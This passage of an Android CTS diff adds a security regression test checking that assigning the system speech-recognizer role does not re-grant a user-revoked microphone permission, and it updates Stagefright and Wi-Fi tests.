+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts
+
+import android.app.role.RoleManager
+import android.content.pm.PackageManager
+import android.os.Process
+import android.platform.test.annotations.AsbSecurityTest
+import androidx.test.ext.junit.runners.AndroidJUnit4
+import androidx.test.platform.app.InstrumentationRegistry
+import com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity
+import com.android.compatibility.common.util.SystemUtil.runShellCommand
+import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
+import com.android.compatibility.common.util.mainline.MainlineModule
+import com.android.compatibility.common.util.mainline.ModuleDetector
+import com.google.common.truth.Truth.assertThat
+import java.util.concurrent.CompletableFuture
+import java.util.concurrent.TimeUnit
+import java.util.function.Consumer
+import org.junit.After
+import org.junit.Assume.assumeFalse
+import org.junit.Assume.assumeTrue
+import org.junit.Before
+import org.junit.Test
+import org.junit.runner.RunWith
+
+@RunWith(AndroidJUnit4::class)
+class RolePermissionOverrideTest {
+    private val instrumentation = InstrumentationRegistry.getInstrumentation()
+    private val context = instrumentation.targetContext
+    private val packageManager = context.packageManager
+    private val roleManager = context.getSystemService(RoleManager::class.java)
+    private val user = Process.myUserHandle()
+
+    @Before
+    fun setUp() {
+        installPackage(TEST_APP_APK_PATH)
+    }
+
+    @After
+    fun tearDown() {
+        uninstallPackage(TEST_APP_PACKAGE_NAME)
+    }
+
+    @AsbSecurityTest(cveBugId = [202312327])
+    @Test
+    fun systemRoleDoesNotOverrideUserRevokedPermission() {
+        assumeFalse(
+            ModuleDetector.moduleIsPlayManaged(
+                packageManager, MainlineModule.PERMISSION_CONTROLLER_APEX
+            )
+        )
+        assumeTrue(roleManager.isRoleAvailable(ROLE_SYSTEM_SPEECH_RECOGNIZER))
+        val systemSpeechRecognizerPackageName = getRoleHolder(ROLE_SYSTEM_SPEECH_RECOGNIZER)
+        if (systemSpeechRecognizerPackageName != null) {
+            assertPermissionState(
+                systemSpeechRecognizerPackageName, android.Manifest.permission.RECORD_AUDIO, true
+            )
+        }
+        assertPermissionState(
+            TEST_APP_PACKAGE_NAME, android.Manifest.permission.RECORD_AUDIO, false
+        )
+
+        runWithShellPermissionIdentity {
+            packageManager.updatePermissionFlags(
+                android.Manifest.permission.RECORD_AUDIO, TEST_APP_PACKAGE_NAME,
+                PackageManager.FLAG_PERMISSION_USER_SET, PackageManager.FLAG_PERMISSION_USER_SET,
+                user
+            )
+        }
+        setBypassingRoleQualification(true)
+        try {
+            addRoleHolder(ROLE_SYSTEM_SPEECH_RECOGNIZER, TEST_APP_PACKAGE_NAME)
+
+            assertPermissionState(
+                TEST_APP_PACKAGE_NAME, android.Manifest.permission.RECORD_AUDIO, false
+            )
+        } finally {
+            setBypassingRoleQualification(false)
+        }
+    }
+
+    private fun installPackage(apkPath: String) {
+        runShellCommand("pm install -r --user ${user.identifier} $apkPath")
+    }
+
+    private fun uninstallPackage(packageName: String) {
+        runShellCommand("pm uninstall -r --user ${user.identifier} $packageName")
+    }
+
+    private fun getRoleHolders(roleName: String): List<String> =
+        callWithShellPermissionIdentity { roleManager.getRoleHolders(roleName) }
+
+    private fun getRoleHolder(roleName: String): String? = getRoleHolders(roleName).firstOrNull()
+
+    private fun setBypassingRoleQualification(bypassRoleQualification: Boolean) {
+        runWithShellPermissionIdentity {
+            roleManager.setBypassingRoleQualification(bypassRoleQualification)
+        }
+    }
+
+    private fun addRoleHolder(roleName: String, packageName: String) {
+        val future = CallbackFuture()
+        runWithShellPermissionIdentity {
+            roleManager.addRoleHolderAsUser(
+                roleName, packageName, 0, user, context.mainExecutor, future
+            )
+        }
+        assertThat(future.get(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS)).isEqualTo(true)
+    }
+
+    private fun assertPermissionState(
+        packageName: String,
+        permissionName: String,
+        isGranted: Boolean
+    ) {
+        assertThat(packageManager.checkPermission(permissionName, packageName)).isEqualTo(
+            if (isGranted) PackageManager.PERMISSION_GRANTED else PackageManager.PERMISSION_DENIED
+        )
+    }
+
+    companion object {
+        private const val TEST_APP_APK_PATH =
+            "/data/local/tmp/cts/security/RolePermissionOverrideTestApp.apk"
+        private const val TEST_APP_PACKAGE_NAME =
+            "android.security.cts.rolepermissionoverridetestapp"
+
+        private const val ROLE_SYSTEM_SPEECH_RECOGNIZER =
+            "android.app.role.SYSTEM_SPEECH_RECOGNIZER"
+
+        private const val TIMEOUT_MILLIS = 15_000L
+    }
+
+    private class CallbackFuture : CompletableFuture<Boolean>(), Consumer<Boolean> {
+        override fun accept(successful: Boolean) {
+            complete(successful)
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 76b6549..b6c2737 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -22,6 +22,7 @@
  */
 package android.security.cts;
 
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 import android.app.Instrumentation;
 import android.content.Context;
 import android.content.res.AssetFileDescriptor;
@@ -100,20 +101,14 @@
  */
 @AppModeFull
 @RunWith(AndroidJUnit4.class)
-public class StagefrightTest {
+public class StagefrightTest extends StsExtraBusinessLogicTestCase {
     static final String TAG = "StagefrightTest";
-    private Instrumentation mInstrumentation;
 
     private final long TIMEOUT_NS = 10000000000L;  // 10 seconds.
     private final static long CHECK_INTERVAL = 50;
 
     @Rule public TestName name = new TestName();
 
-    @Before
-    public void setup() {
-        mInstrumentation = InstrumentationRegistry.getInstrumentation();
-    }
-
     class CodecConfig {
         boolean isAudio;
         /* Video Parameters - valid only when isAudio is false */
@@ -1151,7 +1146,7 @@
     }
 
     @Test
-    @AsbSecurityTest(cveBugId = 110435401)
+    @AsbSecurityTest(cveBugId = 68664359)
     public void testStagefright_bug_110435401() throws Exception {
         doStagefrightTest(R.raw.bug_110435401, 60000);
     }
@@ -3264,8 +3259,4 @@
 
         assertFalse(hung);
     }
-
-    private Instrumentation getInstrumentation() {
-        return mInstrumentation;
-    }
 }
diff --git a/tests/tests/security/testdata/rolepermissionoverridetestapp.xml b/tests/tests/security/testdata/rolepermissionoverridetestapp.xml
new file mode 100644
index 0000000..783382a
--- /dev/null
+++ b/tests/tests/security/testdata/rolepermissionoverridetestapp.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.rolepermissionoverridetestapp">
+
+    <uses-permission android:name="android.permission.RECORD_AUDIO" />
+
+    <application />
+</manifest>
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java
index 7130051..88457ca 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java
@@ -259,7 +259,9 @@
      * Tests the concurrent connection flow.
      * 1. Connect to a network using peer to peer API.
      * 2. Connect to a network using internet connectivity API.
-     * 3. Verify that both connections are active.
+     * 3. Verify that both connections are active only the network for peer-to-peer and network
+     *    for internet have different SSIDs. If they have the same SSID, verify there's exactly one
+     *    connection.
      */
     @Test
     public void testConnectToInternetNetworkWhenConnectedToPeerPeerNetwork() throws Exception {
@@ -275,7 +277,9 @@
                 mTestNetworkForInternetConnection);
 
         // Ensure that there are 2 wifi connections available for apps.
-        assertThat(mTestHelper.getNumWifiConnections()).isEqualTo(2);
+        assertThat(mTestHelper.getNumWifiConnections()).isEqualTo(
+                mTestNetworkForPeerToPeer.SSID.equals(mTestNetworkForInternetConnection.SSID)
+                        ? 1 : 2);
     }
 
     /**
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index 81129ed..a4f3ff5 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -1332,14 +1332,15 @@
             // Skip the test if wifi module version is older than S.
             return;
         }
-        List<WifiConfiguration> testConfigs = new ArrayList<>();
-        testConfigs.add(createConfig("test-open-owe-jdur", WifiConfiguration.SECURITY_TYPE_OPEN));
-        testConfigs.add(createConfig("test-open-owe-jdur", WifiConfiguration.SECURITY_TYPE_OWE));
-        testConfigs.add(createConfig("test-psk-sae-ijfe", WifiConfiguration.SECURITY_TYPE_PSK));
-        testConfigs.add(createConfig("test-psk-sae-ijfe", WifiConfiguration.SECURITY_TYPE_SAE));
-        testConfigs.add(createConfig("test-wpa2e-wpa3e-plki",
+        List<WifiConfiguration> baseConfigs = new ArrayList<>();
+        baseConfigs.add(createConfig("test-open-owe-jdur", WifiConfiguration.SECURITY_TYPE_OPEN));
+        baseConfigs.add(createConfig("test-psk-sae-ijfe", WifiConfiguration.SECURITY_TYPE_PSK));
+        baseConfigs.add(createConfig("test-wpa2e-wpa3e-plki",
                 WifiConfiguration.SECURITY_TYPE_EAP));
-        testConfigs.add(createConfig("test-wpa2e-wpa3e-plki",
+        List<WifiConfiguration> upgradeConfigs = new ArrayList<>();
+        upgradeConfigs.add(createConfig("test-open-owe-jdur", WifiConfiguration.SECURITY_TYPE_OWE));
+        upgradeConfigs.add(createConfig("test-psk-sae-ijfe", WifiConfiguration.SECURITY_TYPE_SAE));
+        upgradeConfigs.add(createConfig("test-wpa2e-wpa3e-plki",
                 WifiConfiguration.SECURITY_TYPE_EAP_WPA3_ENTERPRISE));
         UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
         try {
@@ -1349,46 +1350,51 @@
                     mWifiManager.getPrivilegedConfiguredNetworks().size();
             final int originalCallerConfiguredNetworksNumber =
                 mWifiManager.getCallerConfiguredNetworks().size();
-            for (WifiConfiguration c: testConfigs) {
+            for (WifiConfiguration c: baseConfigs) {
                 WifiManager.AddNetworkResult result = mWifiManager.addNetworkPrivileged(c);
                 assertEquals(WifiManager.AddNetworkResult.STATUS_SUCCESS, result.statusCode);
                 assertTrue(result.networkId >= 0);
                 c.networkId = result.networkId;
             }
-            List<WifiConfiguration> expectedConfigs = testConfigs;
+            for (WifiConfiguration c: upgradeConfigs) {
+                WifiManager.AddNetworkResult result = mWifiManager.addNetworkPrivileged(c);
+                assertEquals(WifiManager.AddNetworkResult.STATUS_SUCCESS, result.statusCode);
+                assertTrue(result.networkId >= 0);
+                c.networkId = result.networkId;
+            }
+            // open/owe, psk/sae, and wpa2e/wpa3e should be merged
+            // so they should have the same network ID.
+            for (int i = 0; i < baseConfigs.size(); i++) {
+                assertEquals(baseConfigs.get(i).networkId, upgradeConfigs.get(i).networkId);
+            }
+
+            int numAddedConfigs = baseConfigs.size();
+            List<WifiConfiguration> expectedConfigs = new ArrayList<>(baseConfigs);
             if (SdkLevel.isAtLeastS()) {
-                // open/owe, psk/sae, and wpa2e/wpa3e should be merged
-                // so they should have the same network ID.
-                assertEquals(testConfigs.get(0).networkId, testConfigs.get(1).networkId);
-                assertEquals(testConfigs.get(2).networkId, testConfigs.get(3).networkId);
-                assertEquals(testConfigs.get(4).networkId, testConfigs.get(5).networkId);
-            } else {
-                // Network IDs for different security types should be unique for R
-                assertNotEquals(testConfigs.get(0).networkId, testConfigs.get(1).networkId);
-                assertNotEquals(testConfigs.get(2).networkId, testConfigs.get(3).networkId);
-                assertNotEquals(testConfigs.get(4).networkId, testConfigs.get(5).networkId);
-                // WPA3-Enterprise is omitted when WPA2-Enterprise is present for R
-                expectedConfigs = testConfigs.subList(0, 5);
+                // S devices and above will return one additional config per each security type
+                // added, so we include the number of both base and upgrade configs.
+                numAddedConfigs += upgradeConfigs.size();
+                expectedConfigs.addAll(upgradeConfigs);
             }
             List<WifiConfiguration> configuredNetworks = mWifiManager.getConfiguredNetworks();
-            assertEquals(originalConfiguredNetworksNumber + expectedConfigs.size(),
+            assertEquals(originalConfiguredNetworksNumber + numAddedConfigs,
                     configuredNetworks.size());
             assertConfigsAreFound(expectedConfigs, configuredNetworks);
 
             List<WifiConfiguration> privilegedConfiguredNetworks =
                     mWifiManager.getPrivilegedConfiguredNetworks();
-            assertEquals(originalPrivilegedConfiguredNetworksNumber + expectedConfigs.size(),
+            assertEquals(originalPrivilegedConfiguredNetworksNumber + numAddedConfigs,
                     privilegedConfiguredNetworks.size());
             assertConfigsAreFound(expectedConfigs, privilegedConfiguredNetworks);
 
             List<WifiConfiguration> callerConfiguredNetworks =
                     mWifiManager.getCallerConfiguredNetworks();
-            assertEquals(originalCallerConfiguredNetworksNumber + expectedConfigs.size(),
+            assertEquals(originalCallerConfiguredNetworksNumber + numAddedConfigs,
                     callerConfiguredNetworks.size());
             assertConfigsAreFound(expectedConfigs, callerConfiguredNetworks);
 
         } finally {
-            for (WifiConfiguration c: testConfigs) {
+            for (WifiConfiguration c: baseConfigs) {
                 if (c.networkId >= 0) {
                     mWifiManager.removeNetwork(c.networkId);
                 }
@@ -2276,6 +2282,7 @@
      * configuration.
      * @throws Exception
      */
+    @VirtualDeviceNotSupported
     public void testSetGetSoftApConfigurationAndSoftApCapabilityCallback() throws Exception {
         if (!WifiFeature.isWifiSupported(getContext())) {
             // skip the test if WiFi is not supported
@@ -2365,6 +2372,7 @@
      * Verify that startTetheredHotspot with specific channel config.
      * @throws Exception
      */
+    @VirtualDeviceNotSupported
     public void testStartTetheredHotspotWithChannelConfigAndSoftApStateAndInfoCallback()
             throws Exception {
         if (!WifiFeature.isWifiSupported(getContext())) {
@@ -2540,17 +2548,8 @@
             assertTrue(actionListener.onSuccessCalled);
             // Wait for connection to complete & ensure we are connected to the saved network.
             waitForConnection();
-            if (SdkLevel.isAtLeastS()) {
-                assertEquals(savedNetworkToConnect.networkId,
-                        mWifiManager.getConnectionInfo().getNetworkId());
-            } else {
-                // In R, auto-upgraded network IDs may be different from the original saved network.
-                // Since we may end up selecting the auto-upgraded network ID for connection and end
-                // up connected to the original saved network with a different network ID, we should
-                // instead match by SSID.
-                assertEquals(savedNetworkToConnect.SSID,
-                        mWifiManager.getConnectionInfo().getSSID());
-            }
+            assertEquals(savedNetworkToConnect.networkId,
+                    mWifiManager.getConnectionInfo().getNetworkId());
         } finally {
             // Re-enable all saved networks before exiting.
             if (savedNetworks != null) {